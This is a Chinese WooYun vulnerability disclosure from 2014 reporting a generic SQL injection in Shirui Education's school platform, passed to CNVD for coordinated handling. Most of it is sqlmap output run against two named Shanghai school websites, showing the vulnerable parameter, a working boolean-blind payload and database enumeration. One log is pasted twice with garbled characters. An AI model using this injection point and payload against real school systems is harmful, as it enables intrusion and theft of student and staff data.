当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070238

漏洞标题:释锐教育校校用平台通用SQL注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: Mosuan

提交时间:2014-08-01 12:23

修复时间:2014-10-30 12:24

公开时间:2014-10-30 12:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经确认,细节仅向厂商公开
2014-08-09: 细节向第三方安全合作伙伴开放
2014-09-30: 细节向核心白帽子及相关领域专家公开
2014-10-10: 细节向普通白帽子公开
2014-10-20: 细节向实习白帽子公开
2014-10-30: 细节向公众公开

简要描述:

rt释锐是全国领先的智慧教育解决方案供应商。致力于通过技术创新为中小学、职校、高校和教育行政管理机构提供有竞争力的智慧教育解决方案和服务,持续提升客户体验,为客户创造最大价值。目前,释锐的产品和解决方案已经应用于 25 个省市,服务全国 3000 多所学校。
##据说通用性有奖励,不知道这个算不算...

详细说明:

WooYun: 释锐教育校校用平台通用SQL注入漏洞
看大牛的漏洞然后买车买房娶媳妇
我也发三个行吗?
测试了上海释锐教育软件有限公司客户中的三个案例,证明确实为通用型SQL注入漏洞!

注入地址:http://www.hshsh.pudong-edu.sh.cn/be/ber_upload_rank.jsp?direction=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:49:14
[03:49:14] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.hshsh.pudong-edu.sh.cn\session' as session file
[03:49:14] [INFO] testing connection to the target url
[03:49:15] [INFO] testing if the url is stable, wait a few seconds
[03:49:18] [INFO] url is stable
[03:49:18] [INFO] testing if GET parameter 'direction' is dynamic
[03:49:18] [INFO] confirming that GET parameter 'direction' is dynamic
[03:49:19] [INFO] GET parameter 'direction' is dynamic
[03:49:20] [WARNING] heuristic test shows that GET parameter 'direction' might n
ot be injectable
[03:49:20] [INFO] testing sql injection on GET parameter 'direction'
[03:49:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:49:21] [INFO] GET parameter 'direction' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[03:49:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:49:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:49:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:49:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:49:23] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:49:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:49:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:49:24] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:49:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:49:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:49:26] [INFO] testing 'Oracle AND time-based blind'
[03:49:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:49:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:49:31] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[03:49:35] [INFO] checking if the injection point on GET parameter 'direction' i
s a false positive
GET parameter 'direction' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: direction
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: direction=0) AND 2779=2779 AND (4083=4083
---
[03:50:25] [INFO] testing MySQL
[03:50:25] [WARNING] the back-end DBMS is not MySQL
[03:50:25] [INFO] testing Oracle
[03:50:26] [WARNING] the back-end DBMS is not Oracle
[03:50:26] [INFO] testing PostgreSQL
[03:50:26] [WARNING] the back-end DBMS is not PostgreSQL
[03:50:26] [INFO] testing Microsoft SQL Server
[03:50:28] [INFO] confirming Microsoft SQL Server
[03:50:31] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Tomcat 4.0.5., Servlet 2.4, JSP
back-end DBMS: Microsoft SQL Server 2005
[03:50:31] [INFO] fetching database names
[03:50:31] [INFO] fetching number of databases
[03:50:31] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[03:50:31] [INFO] retrieved: 5
[03:50:37] [INFO] retrieved:
[03:50:40] [INFO] retrieved:
[03:50:43] [INFO] retrieved:
[03:50:46] [INFO] retrieved:
[03:50:49] [INFO] retrieved:
[03:50:52] [INFO] falling back to current database
[03:50:52] [INFO] fetching current database
[03:50:52] [INFO] retrieved: xiaoxiaoyong_school
available databases [1]:
[*] xiaoxiaoyong_school
[03:53:01] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.hshsh.pudong-edu.sh.cn'
[*] shutting down at 03:53:01


注入地址:http://www.hshsh.pudong-edu.sh.cn/be/ber_upload_rank.jsp?direction=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsi
le for any misuse or damage caused by this program
[*] starting at 03:49:14
[03:49:14] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.hshsh.pudong-edu.sh.cn\session' as session file
[03:49:14] [INFO] testing connection to the target url
[03:49:15] [INFO] testing if the url is stable, wait a few seconds
[03:49:18] [INFO] url is stable
[03:49:18] [INFO] testing if GET parameter 'direction' is dynamic
[03:49:18] [INFO] confirming that GET parameter 'direction' is dynamic
[03:49:19] [INFO] GET parameter 'direction' is dynamic
[03:49:20] [WARNING] heuristic test shows that GET parameter 'direction' might
ot be injectable
[03:49:20] [INFO] testing sql injection on GET parameter 'direction'
[03:49:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:49:21] [INFO] GET parameter 'direction' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[03:49:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING claus
'
[03:49:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:49:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE
r HAVING clause'
[03:49:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XML
ype)'
[03:49:23] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:49:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:49:24] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:49:24] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:49:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:49:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:49:26] [INFO] testing 'Oracle AND time-based blind'
[03:49:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:49:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:49:31] [WARNING] using unescaped version of the test because of zero knowle
ge of the back-end DBMS. You can try to explicitly set it using the --dbms opti
n
[03:49:35] [INFO] checking if the injection point on GET parameter 'direction'
s a false positive
GET parameter 'direction' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 40 HTTP(s) req
ests:
---
Place: GET
Parameter: direction
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: direction=0) AND 2779=2779 AND (4083=4083
---
[03:50:25] [INFO] testing MySQL
[03:50:25] [WARNING] the back-end DBMS is not MySQL
[03:50:25] [INFO] testing Oracle
[03:50:26] [WARNING] the back-end DBMS is not Oracle
[03:50:26] [INFO] testing PostgreSQL
[03:50:26] [WARNING] the back-end DBMS is not PostgreSQL
[03:50:26] [INFO] testing Microsoft SQL Server
[03:50:28] [INFO] confirming Microsoft SQL Server
[03:50:31] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Tomcat 4.0.5., Servlet 2.4, JSP
back-end DBMS: Microsoft SQL Server 2005
[03:50:31] [INFO] fetching database names
[03:50:31] [INFO] fetching number of databases
[03:50:31] [WARNING] running in a single-thread mode. Please consider usage of
ption '--threads' for faster data retrieval
[03:50:31] [INFO] retrieved: 5
[03:50:37] [INFO] retrieved:
[03:50:40] [INFO] retrieved:
[03:50:43] [INFO] retrieved:
[03:50:46] [INFO] retrieved:
[03:50:49] [INFO] retrieved:
[03:50:52] [INFO] falling back to current database
[03:50:52] [INFO] fetching current database
[03:50:52] [INFO] retrieved: xiaoxiaoyong_school
available databases [1]:
[*] xiaoxiaoyong_school
[03:53:01] [INFO] Fetched data logged to text files under 'C:\Users\Administrat
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.hshsh.pudong-edu.sh.cn'
[*] shutting down at 03:53:01


注入地址:http://xhzx3.xhedu.sh.cn:8003/be/ber_upload_rank.jsp?direction=0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:54:43
[03:54:44] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\xhzx3.xhedu.sh.cn\session' as session file
[03:54:44] [INFO] testing connection to the target url
[03:54:46] [INFO] testing if the url is stable, wait a few seconds
[03:54:49] [INFO] url is stable
[03:54:49] [INFO] testing if GET parameter 'direction' is dynamic
[03:54:49] [INFO] confirming that GET parameter 'direction' is dynamic
[03:54:50] [INFO] GET parameter 'direction' is dynamic
[03:54:50] [WARNING] heuristic test shows that GET parameter 'direction' might n
ot be injectable
[03:54:50] [INFO] testing sql injection on GET parameter 'direction'
[03:54:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:54:53] [INFO] GET parameter 'direction' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[03:54:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:54:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:54:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:54:54] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:54:55] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:54:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:54:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:54:56] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:54:56] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:54:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:54:57] [INFO] testing 'Oracle AND time-based blind'
[03:54:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:55:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:55:03] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[03:55:07] [INFO] checking if the injection point on GET parameter 'direction' i
s a false positive
GET parameter 'direction' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 40 HTTP(s) requ
ests:
---
Place: GET
Parameter: direction
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: direction=0) AND 5637=5637 AND (5862=5862
---
[03:56:39] [INFO] testing MySQL
[03:56:40] [WARNING] the back-end DBMS is not MySQL
[03:56:40] [INFO] testing Oracle
[03:56:40] [WARNING] the back-end DBMS is not Oracle
[03:56:40] [INFO] testing PostgreSQL
[03:56:41] [WARNING] the back-end DBMS is not PostgreSQL
[03:56:41] [INFO] testing Microsoft SQL Server
[03:56:43] [INFO] confirming Microsoft SQL Server
[03:56:48] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: Tomcat 5.0.28, Servlet 2.4, JSP
back-end DBMS: Microsoft SQL Server 2005
[03:56:48] [INFO] fetching database names
[03:56:48] [INFO] fetching number of databases
[03:56:48] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[03:56:48] [INFO] retrieved: 5
[03:56:55] [INFO] retrieved:
[03:56:58] [INFO] retrieved:
[03:57:02] [INFO] retrieved:
[03:57:05] [INFO] retrieved:
[03:57:08] [INFO] retrieved:
[03:57:12] [INFO] falling back to current database
[03:57:12] [INFO] fetching current database
[03:57:12] [INFO] retrieved: pubs
available databases [1]:
[*] pubs
[03:57:55] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\xhzx3.xhedu.sh.cn'
[*] shutting down at 03:57:55

漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-08-06 08:31

厂商回复:

CNVD确认所述情况,由CNVD后续联系软件生产厂商处置。

最新状态:

暂无